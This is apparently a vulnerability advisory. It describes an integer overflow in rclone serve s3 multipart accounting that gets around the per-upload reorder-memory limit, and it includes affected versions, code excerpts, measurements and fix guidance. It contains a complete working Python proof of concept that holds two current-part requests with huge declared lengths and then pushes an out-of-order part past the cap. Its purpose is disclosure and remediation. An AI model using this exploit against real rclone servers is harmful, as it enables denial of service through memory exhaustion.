github.com/rclone/rclone: rclone serve s3 multipart accounting overflow bypasses the reorder-memory limit

Executive Summary

An unauthenticated network client can defeat rclone serve s3's per-upload reorder-memory limit by opening two multipart PUT requests for the current part, declaring 5,000,000,000,000,000,000 bytes on each, and withholding both bodies. Both requests are admitted by the current-part progress exception. Adding their declared lengths overflows the signed int64 accounting field to a large negative number, after which out-of-order parts pass the capacity check and are retained in memory beyond the configured cap. The attacker must send the bytes that consume memory; this is not header-only amplification.

The affected streaming implementation first shipped in rclone v1.75.0. The overflow is verified in v1.75.0, v1.75.1, and the assessed source revision identifying itself as v1.76.0. No fixed release was known at the time of this report. Anonymous exploitation applies when serve s3 is run without --auth-key or --auth-proxy, which is a documented configuration; an authenticated deployment requires an accepted S3 credential.

Validation covered the release history and current source, the preserved end-to-end reproducer unchanged, and the packaged bounded reproducer against the real S3 HTTP listener. With a 1 MiB limit, the full run admitted six 8 MiB out-of-order parts and increased RSS by 50,452 KiB. The non-overflowing 4e18 + 4e18 control admitted no out-of-order part and increased RSS by 568 KiB. The packaged one-part reproduction admitted 8 MiB in the overflow case but blocked the identical part in the non-overflow control.

This is distinct from GHSA-2p48-j3qc-rx9f and issue #9616. That advisory addressed memory allocation proportional to an unverified declared length before body bytes arrived and was fixed in v1.75.1. This report uses the post-fix lazy allocator: the declared lengths corrupt up.buffered, then the attacker sends real bytes that the defeated reorder limit should have blocked.

Background

rclone serve s3 exposes an S3-compatible HTTP service over a configured backend. Multipart uploads stream into the backend in ascending part-number order. Parts that arrive early are held in a pool-backed reorder buffer until their turn.

The documented --multipart-streaming-buffer-limit option caps this out-of-order memory per upload and defaults to 256 MiB. When a part would exceed the cap, its request is supposed to wait until earlier data drains. A special progress rule admits the current part, and a separate rule admits one oversized out-of-order part when the buffer is empty.

For this report, Mallory is a client that can reach the S3 listener. In the documented anonymous configuration she needs no credential. The tested server used the local backend, streaming enabled, and a 1 MiB reorder limit. The same accounting path is used with authenticated clients; authentication changes reachability, not the arithmetic.

Vulnerability Details

In v1.75.1 and the assessed v1.76.0 source, s3Backend.UploadPart passes the untrusted declared length to waitForTurn before allocating and reading the body (cmd/serve/s3/multipart.go):

if err := up.waitForTurn(partNumber, contentLength); err != nil {
	return "", err
}

rw := multipart.NewRW()
hasher := md5.New()
n, err := io.Copy(rw, io.TeeReader(body, hasher))

This lazy allocation is the important difference from GHSA-2p48-j3qc-rx9f: no full declared-length reservation is made in the memory pool. The flaw is now in the signed reorder-accounting field.

waitForTurn correctly writes the ordinary capacity comparison as a subtraction, but it always admits a request whose partNumber is at or before the part currently needed. The subsequent addition is unchecked:

if up.bufferLimit <= 0 || partNumber <= up.nextPart || up.buffered == 0 || size <= up.bufferLimit-up.buffered {
	up.buffered += size
	return nil
}

Mallory creates one multipart upload and opens two concurrent requests for partNumber=1. Each declares 5e18 bytes and stops after the headers. While up.nextPart is still 1, both requests satisfy partNumber <= up.nextPart and reserve their declared sizes. Signed 64-bit addition wraps the nominal total of 10,000,000,000,000,000,000 to -8,446,744,073,709,551,616.

For a later 8 MiB partNumber=3 request, up.bufferLimit-up.buffered is then a huge positive value. The capacity comparison succeeds even though 8 MiB exceeds the configured 1 MiB cap. multipart.NewRW grows as io.Copy reads the body, so every admitted out-of-order request retains the real bytes Mallory sends.

Exploitability Analysis

The demonstrated primitive is bypass of a configured memory bound on a long-lived network service. In the preserved full run, a 1 MiB limit admitted six 8 MiB out-of-order parts after poisoning and process RSS rose by approximately 49 MiB. Without poisoning, the ordinary control admitted one part through the documented empty-buffer progress exception and blocked the next. With two 4e18 reservations, whose sum remains within int64, the first out-of-order part blocked and RSS remained essentially flat. These controls isolate signed wraparound rather than ordinary oversized-part behavior.

The attack is deterministic once both current-part handlers have reserved their lengths. It requires only standard HTTP connections, a multipart upload ID, two held requests, and actual body traffic for the later parts. Repeating admitted parts or uploads can exhaust the rclone process or its host and interrupt all S3 operations served by that process. No confidentiality or integrity impact was demonstrated.

The default anonymous mode makes the path reachable without privileges when the listener is exposed to Mallory. If --auth-key or --auth-proxy is configured, she must first authenticate. Binding the service to a trusted interface reduces reachability but does not correct the arithmetic. Disabling streaming takes a different, intentionally memory-buffered path and is not a safe mitigation for memory exhaustion.

Proof of Concept

The sibling poc/poc.py script starts a loopback-only serve s3 process over a temporary local backend. It runs one bounded 8 MiB attack case and an otherwise identical non-overflowing control, then removes its temporary data. It does not attempt to exhaust memory.

Requirements are Python 3 and an affected rclone binary in PATH. Run from this report directory:

cd poc
./poc.py

The binary can also be selected with --rclone. A final run against the assessed source produced:

[
  {
    "case": "overflow",
    "declared_length_per_current_part": 5000000000000000000,
    "out_of_order_part_status": 200,
    "rss_delta_kib": 8956
  },
  {
    "case": "non_overflow_control",
    "declared_length_per_current_part": 4000000000000000000,
    "out_of_order_part_status": "TIMEOUT",
    "rss_delta_kib": 756
  }
]
OVERFLOW CONFIRMED: 8 MiB admitted past the 1 MiB reorder limit
CONTROL PASSED: non-overflowing reservations preserved backpressure

The HTTP 200 response proves that the overflowed account admitted an 8 MiB part despite the 1 MiB limit. The timeout in the control shows that the same request remains under backpressure when the two reservations do not overflow.

Complete poc/poc.py:

#!/usr/bin/env python3
"""Reproduce the serve-s3 multipart reorder-accounting overflow locally."""

import argparse
import http.client
import json
import os
import shutil
import socket
import subprocess
import tempfile
import time


BUFFER_LIMIT = "1M"
PART_SIZE = 8 * 1024 * 1024
OVERFLOW_LENGTH = 5_000_000_000_000_000_000
NON_OVERFLOW_LENGTH = 4_000_000_000_000_000_000


def reserve_port():
    sock = socket.socket()
    sock.bind(("127.0.0.1", 0))
    port = sock.getsockname()[1]
    sock.close()
    return port


def wait_for_port(port, timeout=20):
    deadline = time.time() + timeout
    while time.time() < deadline:
        try:
            with socket.create_connection(("127.0.0.1", port), 0.3):
                return
        except OSError:
            time.sleep(0.2)
    raise RuntimeError("serve s3 did not start")


def rss_kib(pid):
    try:
        with open(f"/proc/{pid}/status", encoding="ascii") as status:
            for line in status:
                if line.startswith("VmRSS:"):
                    return int(line.split()[1])
    except OSError:
        return None
    return None


def start_server(rclone, port, data_dir, config_path):
    env = dict(os.environ, RCLONE_CONFIG=config_path)
    process = subprocess.Popen(
        [
            rclone,
            "serve",
            "s3",
            data_dir,
            "--addr",
            f"127.0.0.1:{port}",
            "--multipart-streaming-buffer-limit",
            BUFFER_LIMIT,
            "--log-level",
            "ERROR",
        ],
        env=env,
        stdout=subprocess.DEVNULL,
        stderr=subprocess.PIPE,
    )
    try:
        wait_for_port(port)
    except Exception:
        process.kill()
        process.wait()
        raise
    time.sleep(0.5)
    return process


def init_upload(port):
    connection = http.client.HTTPConnection("127.0.0.1", port, timeout=10)
    connection.request("POST", "/bucket/key?uploads")
    response = connection.getresponse()
    body = response.read().decode()
    connection.close()
    if response.status != 200:
        raise RuntimeError(f"multipart creation returned {response.status}: {body}")
    start = body.index("<UploadId>") + len("<UploadId>")
    end = body.index("</UploadId>")
    return body[start:end]


def hold_current_part_reservations(port, upload_id, declared_length):
    sockets = []
    for _ in range(2):
        sock = socket.create_connection(("127.0.0.1", port), timeout=10)
        request = (
            f"PUT /bucket/key?partNumber=1&uploadId={upload_id} HTTP/1.1\r\n"
            f"Host: 127.0.0.1:{port}\r\n"
            f"Content-Length: {declared_length}\r\n"
            "Connection: keep-alive\r\n\r\n"
        )
        sock.sendall(request.encode("ascii"))
        sockets.append(sock)
    time.sleep(1)
    return sockets


def put_out_of_order_part(port, upload_id, timeout=4):
    connection = http.client.HTTPConnection("127.0.0.1", port, timeout=timeout)
    body = b"A" * PART_SIZE
    try:
        connection.request(
            "PUT",
            f"/bucket/key?partNumber=3&uploadId={upload_id}",
            body,
            {"Content-Length": str(len(body))},
        )
        response = connection.getresponse()
        status = response.status
        response.read()
        return status
    except TimeoutError:
        return "TIMEOUT"
    finally:
        connection.close()


def run_case(rclone, label, declared_length):
    root = tempfile.mkdtemp(prefix=f"rclone-s3-{label}-")
    data_dir = os.path.join(root, "data")
    os.makedirs(os.path.join(data_dir, "bucket"))
    config_path = os.path.join(root, "empty.conf")
    port = reserve_port()
    process = None
    held_sockets = []
    try:
        process = start_server(rclone, port, data_dir, config_path)
        before = rss_kib(process.pid)
        upload_id = init_upload(port)
        held_sockets = hold_current_part_reservations(
            port, upload_id, declared_length
        )
        status = put_out_of_order_part(port, upload_id)
        after = rss_kib(process.pid)
        return {
            "case": label,
            "declared_length_per_current_part": declared_length,
            "out_of_order_part_status": status,
            "rss_delta_kib": None if before is None or after is None else after - before,
        }
    finally:
        for sock in held_sockets:
            try:
                sock.close()
            except OSError:
                pass
        if process is not None:
            process.terminate()
            try:
                process.wait(timeout=5)
            except subprocess.TimeoutExpired:
                process.kill()
                process.wait()
        shutil.rmtree(root, ignore_errors=True)


def main():
    parser = argparse.ArgumentParser()
    parser.add_argument(
        "--rclone",
        default=os.environ.get("RCLONE", "rclone"),
        help="path to the rclone binary (default: rclone from PATH)",
    )
    args = parser.parse_args()

    results = [
        run_case(args.rclone, "overflow", OVERFLOW_LENGTH),
        run_case(args.rclone, "non_overflow_control", NON_OVERFLOW_LENGTH),
    ]
    print(json.dumps(results, indent=2))

    overflow, control = results
    if overflow["out_of_order_part_status"] != 200:
        raise SystemExit("overflow case did not admit the out-of-order part")
    if control["out_of_order_part_status"] != "TIMEOUT":
        raise SystemExit("non-overflow control unexpectedly admitted the part")
    print("OVERFLOW CONFIRMED: 8 MiB admitted past the 1 MiB reorder limit")
    print("CONTROL PASSED: non-overflowing reservations preserved backpressure")


if __name__ == "__main__":
    main()

Remediation

Treat a reservation as a checked state transition, including every progress exception. Holding up.mu, reject any size that would make up.buffered exceed math.MaxInt64, and do not allow multiple in-flight requests for the current part to reserve arbitrary declared lengths. A safe design should distinguish the one request actively feeding the stream from retry or replacement requests and should charge memory as pool pages are actually allocated.

A minimal arithmetic guard before every addition is:

if size > math.MaxInt64-up.buffered {
	return gofakes3.ErrInvalidArgument
}

That guard prevents signed wraparound, but it is not sufficient by itself to make the documented memory cap exact: the current-part and empty-buffer progress exceptions intentionally allow a reservation beyond the cap. The robust fix should permit only the active next-part stream to bypass reorder backpressure, reject or serialize duplicate current-part requests, and maintain separate checked accounting for genuinely buffered out-of-order bytes.

Regression tests should cover two simultaneous requests for the current part, values whose sum crosses math.MaxInt64, the exact non-overflow boundary, duplicate retries, cancellation and release, an ordinary in-order upload, and an out-of-order part that remains blocked until capacity is available. A test should also assert actual allocated bytes remain within the advertised bound under concurrent requests.